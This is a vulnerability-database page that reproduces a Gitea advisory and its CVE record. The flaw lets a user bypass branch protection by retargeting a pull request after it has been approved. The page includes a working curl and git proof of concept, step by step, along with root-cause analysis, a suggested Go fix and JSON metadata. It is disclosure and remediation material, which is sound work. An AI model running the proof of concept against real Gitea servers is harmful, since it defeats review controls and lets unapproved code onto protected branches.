Vulnerability-Lookup

GHSA-W5PG-649R-P6GG

Vulnerability from github – Published: 2026-07-21 20:14 – Updated: 2026-07-21 20:15

Summary

Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Details

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function: - Updates pr.BaseBranch - Recalculates merge feasibility and divergence - Deletes old push comments - Creates a "change target branch" comment

But it does not: - Re-evaluate official on existing reviews - Dismiss existing approvals - Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

Review creation — services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
Target branch change — services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
Merge check — services/pull/check.go:CheckPullMergeable → models/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs: - Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected: - Required approvals: 1 - Approval whitelist enabled, containing only user admin-reviewer - User attacker has write access but is not in the approval whitelist

Steps

BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"  # any non-whitelisted user

# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'

# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch

# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N

# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true

# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'

# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false

# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master

Observed API Responses

Step 4 — Approval on unprotected branch:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 — Same approval after retarget to protected master:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:14:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGitea does not re-evaluate the `official` flag on existing pull request reviews when a PR\u0027s target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch\u0027s required approvals, allowing the attacker to merge without legitimate maintainer approval.\n\n- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)\n\n## Vulnerability Details\n\n### Root Cause\n\nWhen a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch\u0027s** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.\n\nWhen a PR\u0027s target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:\n- Updates `pr.BaseBranch`\n- Recalculates merge feasibility and divergence\n- Deletes old push comments\n- Creates a \"change target branch\" comment\n\nBut it does **not**:\n- Re-evaluate `official` on existing reviews\n- Dismiss existing approvals\n- Check whether reviewers are in the new target branch\u0027s approval whitelist\n\nAt merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean \u2014 it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch\u0027s approval requirement.\n\n### Relevant Code Paths\n\n1. **Review creation** \u2014 `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`\u0027s protection rules, stores `official=true/false`\n2. **Target branch change** \u2014 `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews\n3. **Merge check** \u2014 `services/pull/check.go:CheckPullMergeable` \u2192 `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch\u0027s whitelist\n\n### Prerequisites\n\nThe attacker needs:\n- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches \u2014 not admin)\n- The ability to create pull requests (standard for any user with push access)\n- A second account (or any non-admin account) to submit the approval on the unprotected branch\n\nThe attacker does **not** need:\n- Admin access\n- To be in the approval whitelist for the protected branch\n- Any interaction from the branch protection\u0027s designated approvers\n\n## Proof of Concept\n\n### Setup\n\nRepository `owner/repo` with branch `master` protected:\n- Required approvals: 1\n- Approval whitelist enabled, containing only user `admin-reviewer`\n- User `attacker` has write access but is **not** in the approval whitelist\n\n### Steps\n\n```bash\nBASE=\"http://gitea-instance:3000\"\nOWNER=\"owner\"\nREPO=\"repo\"\nATTACKER_AUTH=\"attacker:password\"\nACCOMPLICE_AUTH=\"accomplice:password\"  # any non-whitelisted user\n\n# 1. Create an unprotected temporary branch from master\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/branches\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"new_branch_name\": \"tmp-unprotected\", \"old_branch_name\": \"master\"}\u0027\n\n# 2. Push a malicious commit to a feature branch\ngit checkout -b malicious-branch origin/master\necho \"malicious payload\" \u003e payload.txt\ngit add payload.txt\ngit commit -m \"innocent looking commit\"\ngit push origin malicious-branch\n\n# 3. Create PR targeting the UNPROTECTED branch\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"head\": \"malicious-branch\",\n    \"base\": \"tmp-unprotected\",\n    \"title\": \"Add feature\"\n  }\u0027\n# Returns PR #N\n\n# 4. Approve the PR (official=true because tmp-unprotected has no protection)\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n  -u \"$ACCOMPLICE_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"event\": \"APPROVED\", \"body\": \"LGTM\"}\u0027\n# Response includes: \"official\": true\n\n# 5. Retarget the PR to protected master\ncurl -X PATCH \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"base\": \"master\"}\u0027\n\n# 6. Verify: approval is still official=true against master\ncurl \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n  -u \"$ATTACKER_AUTH\"\n# Response: \"official\": true, \"dismissed\": false, \"stale\": false\n\n# 7. Merge \u2014 succeeds despite no whitelisted approver reviewing\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"do\": \"merge\"}\u0027\n# Returns 200 OK \u2014 malicious commit is now on master\n```\n\n### Observed API Responses\n\n**Step 4** \u2014 Approval on unprotected branch:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\n**Step 6** \u2014 Same approval after retarget to protected master:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"stale\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\nThe `official` flag is unchanged. Under the protected branch\u0027s rules, this user\u0027s approval should be `official: false`.\n\n## Impact\n\n- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving\n- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements\n\n## Suggested Fix\n\nRe-evaluate the `official` flag on all existing reviews when a PR\u0027s target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:\n\n```go\n// After updating the base branch, re-evaluate official status on all reviews\nreviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{\n    IssueID: pr.IssueID,\n    Type:    issues_model.ReviewTypeApprove,\n})\nif err != nil {\n    return err\n}\n\nnewProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)\nif err != nil {\n    return err\n}\n\nfor _, review := range reviews {\n    wasOfficial := review.Official\n    if newProtectBranch != nil \u0026\u0026 newProtectBranch.EnableApprovalsWhitelist {\n        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)\n    } else {\n        review.Official = false\n    }\n    if wasOfficial != review.Official {\n        if _, err := db.GetEngine(ctx).ID(review.ID).Cols(\"official\").Update(review); err != nil {\n            return err\n        }\n    }\n}\n```\n\nAlternatively, dismiss all existing approvals on retarget (simpler, more conservative):\n\n```go\n// Dismiss all approvals when target branch changes\nif _, err := issues_model.DismissReview(ctx, \u0026issues_model.DismissReviewOptions{\n    IssueID: pr.IssueID,\n    Message: \"Dismissed: PR target branch changed\",\n}); err != nil {\n    return err\n}\n```",
  "id": "GHSA-w5pg-649r-p6gg",
  "modified": "2026-07-21T20:15:33Z",
  "published": "2026-07-21T20:14:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38402"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag"
}

CVE-2026-58439 (GCVE-0-2026-58439)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:44 – Updated: 2026-08-14 20:01

Title

Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Summary

Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 20:00 UTC

CWE

CWE-284

Assigner

Gitea

References

3 references

URL	Tags
https://github.com/go-gitea/gitea/security/adviso…	vendor-advisory
https://github.com/go-gitea/gitea/releases/tag/v1.27.0	release-notes
https://blog.gitea.com/gitea-1.27.0-is-released/	release-notes

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea Open Source Git Server	Affected: 0 , ≤ 1.26.4 (semver)

Credits

yonatan-pl

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-58439",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T20:00:41.939572Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T20:01:50.699Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThanOrEqual": "1.26.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "yonatan-pl"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
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      "providerMetadata": {
        "dateUpdated": "2026-08-13T16:44:53.887Z",
        "orgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "shortName": "Gitea"
      },
      "references": [
        {
          "name": "GitHub Security Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
        },
        {
          "name": "Gitea v1.27.0 Release",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
        },
        {
          "name": "Gitea v1.27.0 Release Blog Post",
          "tags": [
            "release-notes"
          ],
          "url": "https://blog.gitea.com/gitea-1.27.0-is-released/"
        }
      ],
      "title": "Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
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  },
  "cveMetadata": {
    "assignerOrgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
    "assignerShortName": "Gitea",
    "cveId": "CVE-2026-58439",
    "datePublished": "2026-08-13T16:44:53.887Z",
    "dateReserved": "2026-06-30T18:57:20.616Z",
    "dateUpdated": "2026-08-14T20:01:50.699Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-W5PG-649R-P6GG

Summary

Vulnerability Details

Root Cause

Relevant Code Paths

Prerequisites

Proof of Concept

Setup

Steps

Observed API Responses

Impact

Suggested Fix

CVE-2026-58439 (GCVE-0-2026-58439)

Tags

Sightings

Nomenclature